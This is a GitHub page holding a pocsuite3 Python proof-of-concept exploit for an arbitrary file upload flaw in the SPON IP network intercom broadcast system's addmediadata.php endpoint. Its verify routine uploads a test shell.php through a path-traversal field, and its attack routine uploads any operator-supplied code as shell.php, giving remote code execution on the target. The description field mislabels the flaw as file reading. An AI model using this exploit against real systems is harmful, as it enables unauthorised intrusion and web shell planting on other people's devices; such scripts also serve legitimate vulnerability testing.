forked from luck-ying/Library-POC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SPON IP网络对讲广播系统 addmediadata.php 任意文件上传.py
127 lines (106 loc) · 4.67 KB
/
SPON IP网络对讲广播系统 addmediadata.php 任意文件上传.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class POC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = ['luckying'] # PoC作者的大名
vulDate = '2021-08-24' #漏洞公开的时间,不知道就写今天
createDate = '2021-08-24' # 编写 PoC 的日期
updateDate = '2021-08-24' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = 'SPON IP网络对讲广播系统 addmediadata.php 任意文件上传' # PoC 名称
appPowerLink = '' # 漏洞厂商主页地址
appName = 'IP网络对讲广播系统' # 漏洞应用名称
appVersion = '''ALL''' # 漏洞影响版本
vulType = VUL_TYPE.UPLOAD_FILES #漏洞类型,类型参考见 漏洞类型规范表
desc = '''
世邦通信股份有限公司SPON IP网络对讲广播系统 /php/addmediadata.php 页面存在任意文件读取
'''
# 漏洞简要描述
samples = [''] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [''] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = '''
检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify
利用:pocsuite -r .\poc++.py -u url(-f url.txt) --attack --code '代码'
验证时会上传shell.php 访问一次后自动删除,不对系统照成影响
'''
category = POC_CATEGORY.EXPLOITS.REMOTE
def _options(self):
o = OrderedDict()
o["code"] = OptString(default='',description='输入需要上传的代码',require=False)
return o
def _verify(self):
result = {}
path = "/php/addmediadata.php"
headers={'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQ'}
url = self.url + path
data='''
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/plain
<?php echo md5(233);unlink(__FILE__);?>
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="subpath"
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="fullpath"
../php
------WebKitFormBoundary4LuoBRpTiVBo9cIQ--'''
try:
resq = requests.post(url=url,headers=headers,data=data,timeout=5)
resq_results=requests.get(url=self.url+'/php/shell.php')
if "e165421110ba03099a1c0393373c5b43" in resq_results.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['POC'] = path
result['VerifyInfo']['path'] = self.url+'/php/shell.php'
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
result = {}
code = self.get_option("code")
path = "/php/addmediadata.php"
headers={'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQ'}
url = self.url + path
data=f'''
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/plain
{code}
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="subpath"
------WebKitFormBoundary4LuoBRpTiVBo9cIQ
Content-Disposition: form-data; name="fullpath"
../php
------WebKitFormBoundary4LuoBRpTiVBo9cIQ--'''
try:
resq = requests.post(url=url,headers=headers,data=data,timeout=5)
t = resq.text
t = t.replace('\n', '').replace('\r', '')
print('File Path >>> ' + f'{self.url}/php/shell.php')
t = t.replace(" ", "")
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = t
except Exception as e:
return
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _shell(self):
return
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(POC)